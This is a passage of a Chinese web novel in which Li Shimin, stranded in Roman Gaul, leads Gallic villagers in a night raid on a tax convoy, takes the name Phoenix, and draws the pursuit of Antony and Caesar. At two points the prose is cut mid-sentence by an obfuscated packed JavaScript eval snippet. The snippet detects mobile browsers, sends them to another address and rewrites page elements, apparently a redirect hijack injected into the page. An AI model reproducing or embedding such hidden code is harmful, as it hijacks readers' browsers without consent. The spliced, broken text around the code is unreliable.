“别想妨碍我,李淳风!你想救回皇帝?别做梦了。不妨告诉你,我为他挑了一个“好爹”,一定会让皇帝陛下有永生难忘的体验。” 袁天罡冰冷的声音穿透无限的空间,紫瞳中妖光炽盛。他指尖那点凝聚了禁忌之力的寒芒,猛然炸开! “轰——!” 周围的一切剧烈湮灭,像打碎的琉璃,像炸开的烟花。水面崩解,化为一片混沌的虚无。 袁天罡仍然盘膝坐在灰白的毡帐中,远处传来突厥战马的嘶鸣声,夹着渭水河畔隐约的风声。 他睁开双眼,一抹妖异的紫光在眸中一闪而逝。他脸色比之前更加苍白了几分,甚至微微泛青,但嘴角却勾起一抹快意而冰寒的弧度。 “顺天?应人?”他低声自语,声音带着咳血后的沙哑,却充满了讥诮,“李淳风,不堪一击。” 他抬头对着半旧的棚顶,目光却似乎穿透空茫云海,一字一顿,像是要把每个字都刻进天道轮回里: “你看好了。你看我把你最得意的“天命”扯烂,把你最珍视的“人间”搅翻!我要你眼睁睁看着——” 最后一句话轻得像叹息,却比任何咆哮都恐怖: “看你选的“天之骄子”,如何在你鞭长莫及的另一个世界里……受尽屈辱,生不如死。” 殿内只剩下烛火不安的噼啪声。 那不只是愤怒,那是星辰宁可自行爆炸、也要灼伤苍穹的决绝。 20. 第二章 荒野游侠 第二章荒野游侠 一、高卢的冬天 阿莱西亚战役后的第一个冬天,高卢大地并未迎来和平。 凯撒在返回罗马应对政治危机前,签署了最后一批行政命令:高卢全境征收战时特别税,税率是和平时期的三倍;所有曾参与维钦托利联军的部落,需额外上缴半数存粮作为“战争赔款”;罗马税吏(publicani)被授予近乎无限的权力——他们可以自行评估财产,征调劳力,甚至为了追缴欠税而扣押平民为临时奴隶。 命令沿着新修的罗马大道飞驰,像一场比北风更刺骨的寒潮,席卷了每一个刚被战火蹂躏过的村庄。 --- 奥德河上游,一个没有名字的比尔及人村落。 十一月的第一场雪还没落下,但霜已经杀死了田里最后一点残存的燕麦秆。村口歪斜的木桩上,钉着一块新制的木板,上面用粗劣的拉丁文刻着数字——那是本季度该村需上缴的粮食和银币数额。数额旁边,用炭笔画了个粗糙的鹰徽。 三个时辰前,罗马税务队来了。 他们没有穿铠甲,只着厚实的羊毛斗篷,腰间的皮带上挂着算盘、蜡板和沉甸甸的钱袋。领头的税吏是个意大利人,脸颊瘦削,眼神像在打量牲口。他带着四名高卢裔的辅助兵——这些本土士兵往往比罗马人更凶狠,仿佛虐待同胞能证明自己的“罗马化”更彻底。 清点、称重、记录。粮仓里本就不多的存粟被倒进麻袋,捆上牛车。有老人跪下来,用破碎的拉丁语哀求,说没有这些粮食熬不过冬天。税吏看都没看他,用靴尖把他拨到一边。 一个年轻母亲抱着啼哭的婴儿躲在家里,被辅助兵从破屋中拖出来。她丈夫——一个只剩一条胳膊的伤兵——扑上来阻拦,被剑鞘砸中额角,昏死在地。税吏瞥了眼那女人怀中的孩子,皱了皱眉:“太小了,卖不上价。算了。” 最终带走的是三个半大少年。他们的母亲撕心裂肺的哭嚎声,和牛车吱呀离去的声响混在一起,在萧瑟的村子上空飘了很久,才渐渐被风声吞没。 --- 村中央的空地上,村民们像被抽走了魂魄的泥偶,或坐或跪,眼神空洞。 粮食没了。能干活的孩子也没了。冬天才刚开始。 一个老妪用枯枝般的手,在地上扒拉税吏倒粮时洒落的几粒粟米。每捡起一粒,就颤抖着塞进嘴里,干瘪的腮帮缓慢蠕动。她旁边躺着那个被砸昏的独臂男人,额角的血已经凝固成暗红色的痂。 没人说话。连哭的力气都没有了。 就在这时,一个身影从村西头的林边走了出来。 二、掷币者 当那个身影出现在村口时,时间仿佛停滞了一瞬。 首先看见他的是靠在断墙边等死的老人。浑浊的眼睛费力地抬起,然后定住了—— 林边小径与村庄废墟的交界处,一匹马和一个骑者的剪影,被十一月灰白的天光从背后勾勒出来。 那是一匹高大的暗栗色牡马,肌肉线条在皮下流动,马蹄踏过霜冻的草梗时发出清脆的碎裂声。而骑在马背上的人…… 他穿着一身墨黑色的鞣皮猎装,剪裁利落得惊人,紧束的腰身和宽阔的肩膀构成流畅的倒三角。外罩一件长及小腿的羊毛披风,也是纯黑的,只在边缘用暗银线绣着简约的几何回纹。披风的一角被风掀起,露出底下深棕色的长筒皮靴——靴筒笔挺,沾着新鲜的泥点,却依然显出一种与周遭破败格格不入的整洁。 但最令人移不开视线的,是他的姿态。 挺拔又放松,脖颈到肩背的线条带着一种近乎傲慢的优美。他单手控缰,另一只手里……竟握着一卷摊开的莎草纸。 几缕黑色的短发垂落在额前,又被寒风轻轻撩起。没有胡子,整张脸的轮廓清晰得如同大理石雕像:颧骨略高,鼻梁挺直,下颌的线条收束得干净利落。 他就这样,骑着马,手不释卷,缓缓走进了这个刚刚被罗马税吏洗劫过、弥漫着绝望与死气的村庄。 马蹄声在空地上停下。 李世民——此刻的他没有任何头衔,只是一个没有名字的流亡者——终于从莎草纸上抬起了眼。 那一瞬间,空地中央或坐或跪、眼神空洞的村民们,感到某种无形的东西扫过了自己。 他的眼睛。 形状是东方人特有的微挑,眼尾的弧度像掠过的雁翼。但真正令人心悸的是那瞳色,是极深的褐,近乎纯黑,却又在最深处凝着一点冷冽的光,像化不开的寒潭,又像打磨过的黑曜石。 这双眼睛平静地扫过空地上的一切:被踢翻的破陶罐、地上奄奄一息的老人、粮仓敞开的空门、还有那个被剑鞘砸中额角、半昏迷的独臂男人。 没有怜悯,没有愤怒,只有观察,一种剥离了情感的、近乎冷酷的审视。 然后,他动了。 右腿利落地跨过马鞍,落地时皮靴在夯土地面踩出清晰的声响,动作流畅得没有一丝多余。 他随手将缰绳绕在一根歪斜的木桩上——那木桩上钉着罗马税务队的拉丁文征税告示。 直到这时,村民们才看清他完整的样貌。 他很高,挺拔的身姿在粗麻破衣的人群中,像一株误入荒草的白杨。黑色的猎装贴合着他瘦削却线条分明的躯体,束腰皮带勒出紧实的腰线,上面挂着一把毫不起眼的罗马短剑——剑鞘磨损严重,显然是战场上捡来的二手货。 但与他手中那卷莎草纸放在一起时,这身装束便产生了奇异的矛盾感:他是战士,却带着书卷;他风尘仆仆,衣着却整洁利落;他眼神冷冽如刀,垂眸读书时却有种沉浸的宁静。 李世民走到空地中央——那里有张被村民们当成长凳的粗木墩。税吏刚才就是坐在这里,记录掠夺的清单。 他解开皮囊,从里面掏出一个沉甸甸的亚麻小袋。袋口没系紧,几枚银色的第纳尔币滑出来,掉在木墩上,发出清脆的、在这寂静中近乎刺耳的撞击声。 “当啷——” 所有空洞的眼神,瞬间被那抹银色拽了过去。 李世民把整个钱袋往木墩上一放,发出更沉闷的“咚”一声。然后他抬起头,用生涩、古怪、但每个音节都异常清晰的拉丁语开口: “我要找二十个人。” 他的声音不高,却像石头投入结冰的池塘,激起一片茫然的涟漪。 村民们看着他,又看看钱袋,没人动弹。饥饿和恐惧已经磨钝了他们的反应。 李世民皱了皱眉,似乎意识到自己的表达不够准确。他伸出左手,食指指向空地边缘几个还算健壮、只是饿得眼窝深陷的年轻男人,然后又指向自己,做了个“跟随”的手势。 “二十个,没饿死,还有力气的。”他一字一顿地补充,同时用右手拍了拍自己的手臂,示意“力量”。 终于,一个脸上有疤、像是曾当过战士的中年男人挣扎着站起来,声音嘶哑:“雇佣兵(mercenarius)?你要找雇佣兵打仗?” 李世民愣了一下。 “雇……佣兵?”他重复这个词,发音很准,但眼神里透出困惑。他显然在莎草纸上读到过这个词,但对其具体的社会契约和运作模式并不完全理解。 他思考了几秒钟,然后非常缓慢、非常认真地摇头:“不。不是雇佣兵。” 他环视四周,目光从一张张麻木的脸上掠过,最后回到那个疤脸男人身上。他抬起手,食指和中指并拢,先点了点自己的胸口,又指向对方。 “我要……”他顿了顿,似乎在寻找合适的拉丁语词汇,最终选择了一个简单却有力的组合,“可靠的战友(certusmilito)。” 这个词组让疤脸男人愣住了。milito”是“战友”、“同袍”,是军团士兵之间称呼彼此的词汇,带着生死与共的意味。而“certus”意味着确定、可靠、忠诚。 这个神秘的东方人,不要花钱买来的刀,他要可以托付后背的同伴。 “为什么?”另一个声音响起,是那个独臂男人挣扎着坐了起来,额头的血痂裂开,渗出新血,“罗马人刚走……你也是来趁火打劫的?” 李世民听懂了“罗马”和“为什么”。他沉默了片刻,然后做了两个手势。 左手平摊,向下压,指向地面那些奄奄一息的人——要么像这样,白白饿死。 右手握拳,向前猛地一挥,眼神骤然变得锐利如出鞘的剑——要么,跟我去‘行大事’:“res magnas facere”。 他没用“战斗”,没用“反抗”,用了“行大事”。这个词太模糊,也太沉重。 “什么大事?”独臂男人追问,眼神里燃起一丝微弱的光。 李世民没有直接回答。他走回木墩边,解开钱袋,将里面的银币哗啦一声全倒在木墩表面。 大约四五十枚第纳尔,在灰暗的天色下泛着冰冷的、诱人的光泽。对一个罗马士兵来说,这是一年的军饷。对这些村民来说,这是能买来粮食、甚至可能赎回孩子的希望。 “这些,”李世民指着银币,“是定金。事成之后,还有。” 他顿了顿,目光扫过那几袋被罗马人嫌弃、扔在牛车边的黑麦麸皮——那是村民接下来几个月唯一的口粮。 “现在,先吃饱。” 三、乌合之众 最终,跟着李世民离开村子的,不是二十个,是十七个。 疤脸男人叫布伦诺斯,曾是阿维尔尼部落的战士,阿莱西亚战败后逃回家乡,发现家人早已死在罗马人之前的扫荡中。独臂男人叫戈伊德尔,他的手臂是在阿瓦利肯攻城战时丢的。其余十五人,都是被战争和赋税榨干了希望的农民、猎户、铁匠学徒。 李世民用银币从村里换来了所有能吃的——不仅是麸皮,还有藏在地窖里的几块熏肉干、一些干瘪的野苹果、甚至还有一小罐蜂蜜。他在林间空地生火,用从罗马军营带出的铜锅煮了浓稠的麦麸粥,将肉干撕碎撒进去。 十七个人围着火堆,像饿狼一样吞咽。没有人说话,只有吸溜声和陶碗碰撞的轻响。 李世民自己吃得很少。他坐在火堆稍远的地方,背靠一棵橡树,再次展开了那卷莎草纸。纸上是他这几个月来整理的拉丁语词汇和语法笔记,密密麻麻,旁边还有用炭笔画的简易图示。他嘴唇无声翕动,手指在字句间移动,完全沉浸其中。 布伦诺斯吃完第二碗粥,抹了抹嘴,忍不住看向那个神秘的东方人。火光映着他的侧脸,专注得仿佛周围不是一群刚刚集结的亡命之徒,而是安静的学堂。 “他在学我们的……不,罗马人的话。”戈伊德尔凑过来,压低声音。 “学得很快。”布伦诺斯眯起眼,“你听他下午说话,虽然怪,但该说的都说清楚了。比我跟罗马人打了八年仗会的还多。” “他说他是从东边来的,比日出之地还远。”一个年轻的猎户插嘴,他叫卢科斯,眼神机敏,“他说他的家乡在‘丝绸和瓷器的国度’,你们听说过吗?” 没人听说过。高卢人只知道东边有日耳曼人,再东边是传说中无尽的山脉和荒原。 “他带着书。”戈伊德尔盯着那卷莎草纸,“罗马老爷们才有的东西。但他杀罗马人时,眼睛都不眨。我在阿瓦利肯见过他那种眼神……只有最厉害的百夫长才有。” 李世民似乎感受到了注视,抬起头。他没有解释,只是收起莎草纸,站起身。 “过来。”他用刚学会的单词招呼。 十七个人聚拢。李世民捡起一根树枝,在泥地上画了起来。 他先画了一个简单的营地轮廓(几个方块围成圈),然后在旁边画了几个小人(代表守卫),在小人旁边画了打瞌睡的符号(闭上的眼睛)。接着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如果失败呢?”卢科斯年轻,直接问出了最坏的可能。 李世民看了他一眼,眼神里没有任何波动。 “那就死。”他用拉丁语平静地说,“比饿死,强。” 四、比尔及人的哀歌 税务队的临时营地在奥德河一条支流的弯道处,背靠一片赤杨林。正如李世民所料,这里只有三十多名罗马辅助兵和五名税吏看守。他们押送着从三个村庄搜刮来的粮食、几箱铜器,以及十二名俘虏——都是青壮男女,用麻绳串着脚,拴在营地中央的木桩上。 罗马人很松懈。高卢的大规模抵抗已经瓦解,零星的逃亡者不成气候。他们点燃了篝火,烤着从村里“征收”来的鸡,酒囊在手中传递。哨兵站在营地边缘,抱着长矛,脑袋一点一点地打着瞌睡。 他们不知道,黑暗的赤杨林里,十七双眼睛正死死盯着他们。 李世民把十七人分成三组。 ·无声组(5人):布伦诺斯带领,包括卢科斯和另外三个最敏捷的猎户。任务是摸掉两个明哨和一个暗哨。李世民亲自示范了如何从背后捂住口鼻、短剑精准刺入颈侧脊椎的致命位置——动作快、狠、无声。布伦诺斯学得最快,他本就是战士。 ·佯攻组(6人):戈伊德尔带领,虽然独臂,但嗓门大,熟悉制造动静。任务是在营地东侧(下风口)呐喊、敲击树干、点燃一小堆湿柴制造浓烟,吸引罗马人注意力。 ·突击组(6人,包括李世民):从赤杨林最茂密处直接潜入营地中心,解救俘虏,抢夺最近的两辆粮车,然后从西侧河道浅滩撤离。 “记住,”李世民在行动前,最后一次用树枝在地上强调,“不动,等信号。信号是……”他模仿了一声猫头鹰的叫声,惟妙惟肖。 “然后,快。像河水一样流走,不要回头。” 子夜时分,云层遮住了月亮。 猫头鹰的叫声响起,短促,两声。 布伦诺斯像影子一样滑出树林。卢科斯跟在他身后,心跳如鼓,但握着短剑的手稳得出奇。他们接近第一个哨兵——那是个年轻的高卢辅助兵,靠着树干,几乎睡着了。布伦诺斯捂住他的嘴,另一只手中的短剑从锁骨下方斜刺而入,直抵心脏。年轻人只痉挛了一下,就软倒了。 另外两个哨兵也在几乎同一时间被解决。李世民教的技巧简单直接,追求的不是美观,是绝对致死和寂静。 东侧,戈伊德尔的佯攻组准时发动。他们用木棍疯狂敲打树干,发出类似许多人冲锋的巨响,同时用破布裹着潮湿的树叶点燃,浓烟顺风飘向营地。 “敌袭——!高卢人来了!”戈伊德尔用尽力气嘶吼,用的是拉丁语,但带着浓重的高卢口音。 营地瞬间炸锅。罗马辅助兵们从睡梦中惊醒,慌乱地抓起武器,大部分朝着浓烟和喊声传来的东侧涌去。税吏们则惊慌地躲向马车后面。 混乱中,李世民带着突击组像匕首一样刺入营地腹地。 他冲在最前面,黑色的短发在奔跑中几乎融入夜色。他没有用短剑,而是夺过一根营地边倚着的长矛,手腕一抖,矛尖如毒蛇吐信,精准地刺穿了一个试图组织抵抗的十夫长的咽喉。动作流畅得仿佛演练过千百遍,没有任何多余的花哨,只有杀戮的效率。 布伦诺斯和卢科斯解决完哨兵后也从侧翼杀入。营地中央的俘虏们惊呆了,看着这些仿佛从天而降的复仇者。 李世民冲到木桩前,短剑一挥,砍断麻绳。“起来!跟紧!”他用拉丁语命令——这是他从村民那里现学的几个词之一。 俘虏们踉跄站起,虽然虚弱,但求生欲爆发。两个突击组成员已经冲到了粮车边,砍断拉车的骡子缰绳,跳上车辕。 “走!”李世民用长矛逼退两个冲过来的罗马兵,掩护着俘虏们冲向河道。 整个行动从开始到撤离,不到一刻钟。 当大部分罗马兵意识到中计,从东侧折返时,营地中央只剩下几具尸体、被砍断的绳索、和两辆空了的粮车。西侧河道传来涉水远去的杂乱声响,但夜色深沉,无人敢深追。 21. 第三章、传说诞生 第三章、传说诞生 一、英雄从地狱诞生 突袭队伍在下游五里外的一片榉树林重新集结。 无人死亡,只有三个人受了轻伤。救出了全部十二名俘虏,抢回了四袋粮食和少量熏肉。最重要的是,他们抢回了那三个半大的孩子。 篝火舔舐着黑暗,在榉树林间投下摇曳的光影。 获救的村民挤在火边,用破陶罐煮着抢回的粟米粥,蒸汽裹挟着久违的粮食香气,模糊了他们枯槁脸上残存的惊恐。那三个被夺回的孩子紧紧依偎在父母怀里,偶尔发出劫后余生的抽噎。 李世民靠在一棵老榉树的背风处,用一块粗布擦拭着短剑上的血迹。墨黑色的鞣皮猎装让他几乎融入树影,只有篝火偶尔照亮他沉静的侧脸,和那双映着火光的、深不见底的眼睛。 他来到这片被称作“高卢”的土地,已经一月有余。 自从离开罗马军营后,他向南而行,避开大道与城镇,穿行于丘陵、森林与荒废的田埂之间。最初只为生存与观察,试图在这陌生的棋盘上,找到一条属于自己的、或许能通向遥远东方的路。 但他看到的,是一片地狱。 罗马人的胜利,并未带来秩序与生息,反而开启了更为系统、更为冰冷的榨取。鹰旗所至,税吏与随军商人接踵而来,像一群嗅到腐肉气息的秃鹫。村庄被标上无法承受的数字,粮仓被刮走最后一粒过冬的种子,男人被强征去修筑那些名为“罗马大道”却通往奴役的道路,女人和孩子则像牲畜一样被评估、被拖走。 他见过被焚毁的村落,断壁残垣间散落着无人收拾的白骨;他听过深夜从罗马军营方向传来的、持续不绝的鞭响与惨叫;他看到道路旁的十字架上,一排排干枯腐烂的尸体。千村萧瑟,白骨露野。 奥德河畔这个无名村落,只是这片无边苦海中的一滴水。 而他只是个过客,自身难保,这里的一切与他无关。可偏偏他心还未死,胸中一点恻隐之心,点燃了四海一家、如君如父的责任感。 战场统帅的本能在陌生土地上苏醒。他不再仅仅是逃避追捕的外来过客,那一念之仁,如星火投入干柴,英雄从地狱中诞生。 村中那位最年长的老者,在族人搀扶下,颤巍巍地走到李世民面前。老人浑浊的眼睛努力聚焦,用生硬的、混合了几个拉丁语词的土语,结结巴巴地问:“恩人……您,是谁?来自哪个部落?叫什么名字?” 林间忽然静了一瞬,连风声都似乎屏息。 李世民抬起眼,目光掠过老人沟壑纵横的脸,掠过火边那些齐齐望来的、带着敬畏与茫然的视线。 名字? 李?世民?大唐皇帝?这些词汇在此地毫无意义,且是催命符。 他想起了一张苍白却带着炽热仰慕的少年的脸,一句庄重又稚嫩的拉丁语,穿越记忆的迷雾浮现——“我赐予你菲尼克斯之名!” 不死鸟。浴火重生。 他缓缓收剑入鞘,金属摩擦声粗糙。迎着所有人的目光,他用这一个月多来学会的、数量不多但发音清晰的拉丁语单词,平静地回答: “菲尼克斯(Phoenix)。” 那个音节在寒冷的夜空中落下,似乎带着某种奇异的、温暖的力量。 篝火旁,李世民并未沉浸在救援成功的松懈中。他的目光扫过惊魂未定的村民,最终落在那位最年长的老者脸上。 “罗马人很快就会回来,”他用缓慢但清晰的高卢语单词,配合手势表达,声音平静却带着不容置疑的沉重。“比你们想象的更快,更凶。” 布伦诺斯最先理解他的意思,并翻译成高卢方言转告给众人。人群瞬间被更大的恐惧攫住,刚因温饱而松弛的气氛再次冻结。 李世民抬起手,压下细微的骚动。“听我说,照做,你们才能活下去。” 语言通得不多,但意图必须传递得坚如磐石。 他走到空地中央,指着自己向所有人宣告,清晰而缓慢地发出四个音节:“菲—尼—克—斯。” 接着,他后退几步,双臂展开,做出一个“集合” 的手势,再指向密林暗处,模拟出多名武装人员潜伏、出击的姿态——“我有队伍。” 最后,他指向南方,又指指自己,做了一个“离开”的手势,再指指村民和村庄,双手交叠放在胸前,做出守护的姿态。 核心信息:我(菲尼克斯)带着队伍,干了这事。现在我要走了,目标是我。记住这个,你们就安全。 先理解的人,再把意思转告给其他人。 为了固化这个信息,他进行了一场简短的“排练”。他选出三名反应最快的村民,让他们站在自己身后,扮演“队伍”。然后,他带领他们重复了从林边现身、快速袭击、搜刮物品(指向粮袋和原本拴俘虏处)、然后迅速撤向南方的整个过程。 他让村民反复模仿、点头,直到他们能将“菲利克斯”这个名字、他“有队伍”的印象以及“向南撤走”的方向,形成条件反射般的记忆链条。 随后,他进入关键的“清理与证据布置”阶段: 1. 清除隐患:他示意村民将罗马人的尸体和所有与税吏直接相关的物品(如官方文书、特定徽记)全部拖入密林深处处理掉。这些是可能导致村民被关联定罪的证据。 2. 留下线索:他将从税吏头目身上搜出的青铜令牌,故意“遗落”在营地一个不那么显眼却又可能被发现的角落。这枚官方的令牌是极有分量的证据。 3. 统一口径:他回到老者面前,做出罗马士兵凶狠审问的样子,然后指向自己(菲尼克斯),做出队伍的手势,再坚决地指南方。接着,他指向那枚被“遗落”的令牌,点点头。 最后,他环视所有村民,用最严厉的目光和手势,要求他们重复这个简单的“故事”:菲尼克斯(东方人),有队伍,抢了东西,往南跑了,留下了这个。 老者彻底明白了。这位黑衣恩人,不是在请求他们隐瞒,而是在命令他们“出卖”他——用一种经过精心设计、既能最大程度保护村庄,又能将罗马人的怒火和注意力精准引向恩人自身的方式。这种决绝的牺牲与掌控力,让老者浑身颤抖,不仅是恐惧,更是震撼。 “为什么……”老者嘶哑地低语,指向李世民,又指指自己的心口。 李世民理解了他的意思。他沉默了一下,然后,指向这片饱受蹂躏的土地,指向那些被救回的孩子,最后,他抬手,用手指在空中,划出一道坚定指向南方的轨迹。 他的眼神里有一种冷静的、近乎燃烧的决意:这里的苦难,我看见了。但我的战场(或归途)在更远的前方。让追兵,跟我来。 他不再多言,将剩余的干粮和那袋罗马银币大部分留给了村民。然后,他拉紧黑色斗篷的兜帽,彻底遮住面容,转身,义无反顾地踏入了黎明前最深的黑暗,朝着南方,疾行而去。 他的身影消失后,老者颤抖着,将那枚东方铜钱深深按入泥土,又将那枚罗马令牌,放在更显眼一些的石头上。 袭击税吏队,不是一般的治安事件,而是对国家财政和统治权威的直接挑战。当地罗马驻军或治安官的首要任务,不是为几个死者复仇,而是迅速恢复威慑,防止模仿。 李世民意识到这一点,在罗马的高压统治下,一个无名村庄想要完全隐藏如此大案,几乎不可能。灭村是大概率事件。因此,他的应对策略从“隐瞒事件”(几乎做不到)升级为 “我来主导事件的叙事”。 他给了罗马官员一个最方便、最符合逻辑、最能交差的解释。实际上是在利用罗马的官僚逻辑来保护村民。村民从“包庇犯”变成了“配合调查的证人”,生存概率将极大提升。 二、鹰羽传讯 奥德河畔的灰烬还未完全冷却,关于“菲尼克斯”的第一次正式报告,已如同投石入水激起的涟漪,沿着罗马在高卢架设的神经脉络,急速传导开来。 最初的报告来自当地驻军的一名百夫长。他在事发次日中午带队抵达现场,面对的是被刻意布置过的场景、口径高度一致的村民、以及那枚被“遗落”在显眼处的税吏青铜令牌。他将报告快马送往卢格杜努姆。 行省的财务官看着报告上“菲尼克斯”、“东方人”、“战术精良”等字样,眼皮狂跳,立刻想起了那份从阿莱西亚发往高卢全境的、标注为“统帅特别关注”的通缉文书。 他不敢有丝毫耽搁,以处理“大规模匪患及威胁行省税收安全”为由,签发了调动附近一支步兵大队协助清剿的命令,同时,最紧急的报告被火漆密封,由信使昼夜不停,直送仍在高卢坐镇的最高军事长官——马库斯·安东尼所在的阿莱西亚大营。 阿莱西亚,安东尼副帅大帐。 炭盆烧得很旺,却驱不散安东尼眉宇间的阴郁。凯撒离去时的眼神和话语像毒刺扎在他心里,每日处理不完的善后事务和流言更让他烦躁。当信使带着那份加盖了紧急印戳的报告卷筒冲进来时,他几乎是不耐烦地扯开了蜡封。 随着阅读,他脸上的烦躁迅速褪去,被一种冰冷的、逐渐灼烧起来的专注所取代。报告上的字句在他脑中轰鸣:“…战术精湛…目标明确…解救奴隶…夺走税粮…自称‘菲尼克斯’…村民一致指认为东方人首领,率部南遁……” “东方人?”安东尼猛地抬起眼,目光如隼,盯向送来报告的军团情报官,“长什么样,有人看清楚吗?” 情报官显然已提前询问过信使,流畅答道:“大人,根据从几个村子反复审问得来的情报汇总:二十多岁,身材高、瘦,不怎么说话,交流很困难,多用手势。至于长相……”他犹豫了一下。 “幸存的高卢辅助兵和村民都用了一个词:formosus。”这个词,在拉丁语中形容相貌出众,男女皆可。 这个词像一道闪电,瞬间劈开了安东尼脑海中所有的迷雾。 高挑、东方人、战术惊人、还她妈漂亮……所有的线索都拧成一股绳。他脑海中瞬间浮现出营中那些不堪的流言,还有凯撒偶尔提及那个俘虏时,眼中那该死的、难以捉摸的深意。 “哈…哈哈!”安东尼忽然发出一阵低沉而骇人的笑声,他捏着报告的手指因用力而发白,“菲尼克斯…不死鸟?他给自己起了这么个名字?好,很好!” 怒火与耻辱感如同火山岩浆般轰然冲垮了他最后的理智。不再是什么需要权衡利弊的军事任务,这就是私仇! 那个该死的、靠脸迷惑了凯撒的东方男宠(虽然凯撒否认,但安东尼压根不信),不仅逃脱,竟还敢公然袭击罗马的税队,抢夺军粮,用这种践踏罗马鹰旗的方式继续羞辱他,羞辱整个军团! “传令!”安东尼腾地站起,声音斩铁截钉,在帐内回荡,“第一、第二骑兵中队即刻整备!从我亲卫队中挑选最擅长追踪和山地作战的百人队!辎重从简,携带十日口粮和额外箭矢。通知布鲁图斯,大营防务暂由他代理,但有任何闪失,我回来亲手剥了他的皮!” 他眼神狰狞:“我要亲自去,把这只自作聪明的‘不死鸟’的每一根羽毛都拔下来!” “将军,是否需要先向凯撒统帅——”副官谨慎地提醒。 安东尼挥手打断,语气不容置疑:“统帅给我的命令是‘把他带回来’。我现在就去执行命令。等我把他钉在十字架上拖回阿莱西亚,就是最好的报告!” 复仇的火焰和证明自己的渴望,已让他无暇等待任何可能来自凯撒的、软绵绵的“生擒”指令。 三、他是皇帝? 几天后,高卢南部的行政与交通中心——纳博讷城。 这里的气氛与前线军营截然不同,奢靡与权谋的味道混杂在来自地中海的咸湿空气里。在总督府一间可俯瞰港口的书房内,盖乌斯·尤利乌斯·凯撒正置身于另一种性质的战场。 他面前堆满了来自罗马的密信、行省财政报表,以及庞培及其盟友近期活动的摘要。元老院要求他解散军队、只身回罗马接受凯旋式的“最后通牒”静静地躺在桌角,像一柄未出鞘的匕首。 凯撒的目光深邃,手指无意识地在桌面的地图上划过——那上面标注着意大利的各个选区,以及可能被贿赂或争取的元老名字。他正在下一盘大棋,拖延时间,积蓄力量,用金钱和承诺在罗马织网,静待与庞培彻底摊牌的时刻。 这场政治拉锯战,可能持续数月,甚至一两年。 轻微的敲门声打断了他的思绪。亲卫队长雷克斯领着一个人走了进来。 “统帅,埃及亚历山大港派来的翻译到了。只有一位,据说法老尽力了,这是目前能找到最可能通晓东方语言的人。” 来人风尘仆仆,面色黧黑,眼窝深陷,带着常年奔波于商路特有的精明与疲惫。他穿着混合了希腊与东方风格的衣衫,进门后立刻按照埃及宫廷的礼节向凯撒躬身。 “你通晓东方语言?哪种?”凯撒用希腊语问,这是地中海世界的通用学术与商业语言。 翻译点头,用带着浓重口音但还算流利的希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224106|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腊语回答:“尊贵的大人,我名叫塞拉皮翁。我父亲是叙利亚商人,母亲来自赛里斯更西边的绿洲城邦(指西域)。我跟随商队走过丝绸之路的许多路段,能说一些赛里斯西部边民的土语,也认得一些他们的文字符号…尤其是汉朝使节或商人常用的那种。” “汉朝?”凯撒敏锐地抓住了这个词。 “是的,大人。那是赛里斯地区最强大、最悠久的王国,像我们的罗马一样。他们自称‘汉’,他们的皇帝统治着无比辽阔的土地。”塞拉皮翁解释道。 公元前52年,中国正处于汉宣帝刘询统治的中期,此时正是汉朝国威最盛、四夷宾服之时。 凯撒眼睛微微一亮,指了指书房一侧特地陈列的几样物品:那身残破但仍难掩华美的十二章纹冕服、那把平衡完美的宝剑,以及几张李世民在囚禁期间写过的只言片语。 “看看这些,告诉我你能看出什么?” 塞拉皮翁的眼睛在看到丝绸冕服时便睁大了,用凯撒听不懂的语言喃喃自语。当他看到宝剑时,更是倒吸一口凉气。最后,他的目光定格在那张李世民情绪激荡时写下的、笔迹最有力的莎草纸上——“朕躬后继”,有一个清晰的汉字——“朕”。 “大人…”他的声音因为激动而有些发颤,指着那个字,“这个字…如果我没记错,这是赛里斯汉朝皇帝专用的自称!发音类似‘zhen’,意思是‘我’,但只有他们的最高统治者才能使用,就像…就像‘凯撒’或‘统帅’只能用于您一样!” 他为了加强说服力,指着那顶冕冠:“这样的服饰,只有东方的皇帝才能穿。”又指向宝剑:“这种工艺和装饰,绝非普通贵族所能拥有。大人,这些物品的主人…身份至高无上,简直就像是汉朝的皇帝本人!” 书房内瞬间一片死寂。雷克斯屏住了呼吸。 凯撒脸上的平静面具第一次出现了裂痕。灰蓝色的眼眸深处,仿佛有风暴正在凝聚。 皇帝。 不是流亡贵族,不是神秘使者,而是一位皇帝。 凯撒身体微微前倾:“‘皇帝’……对应罗马的‘Rex’(国王)?还是‘Imperator’(最高统帅)?” “大人,这两个词…都接近,但都不完全。”他谨慎地选择措辞,“汉朝的‘皇帝’,其含义比‘Rex’更神圣、更绝对。如果必须在拉丁语中找一个最接近的词汇来指代他…考虑到其军事统帅的实质和对庞大领土的绝对统治,或许 ‘Imperator’ 可以作为对应。但请大人务必知晓,这个东方词汇的意涵,远非任何一个罗马词汇所能完全涵盖。他不仅仅是军队的统帅,更是‘王中王’(Rex Regum),是‘天命在身的天下共主’。” “Imperator…” 凯撒缓缓重复了这个词。在罗马,这是士兵们对得胜将军的欢呼,是元老院授予的荣誉头衔,但从未像塞拉皮翁描述的那样,成为一个囊括一切、永恒且神圣的终极身份。 所有的线索在此刻轰然汇聚,并被这个来自遥远东方的、沉重的单音节字 “朕” 所印证。 一位东方的 Imperator。 一位会为异族奴隶的命运写下悲愤诗文的 Imperator。 一位从他的军营中逃脱,如今正在高卢荒野中下落不明的Imperator。 就在这时,又一名信使被引了进来,带来了关于奥德河袭击税吏队的最新急报——安东尼已经看过并做出反应的那份。 凯撒迅速展开,目光扫过。报告来自卢格杜努姆,详细描述了奥德河畔税吏队遇袭,袭击者自称“菲尼克斯”,战术精良,已造成地方震动云云。 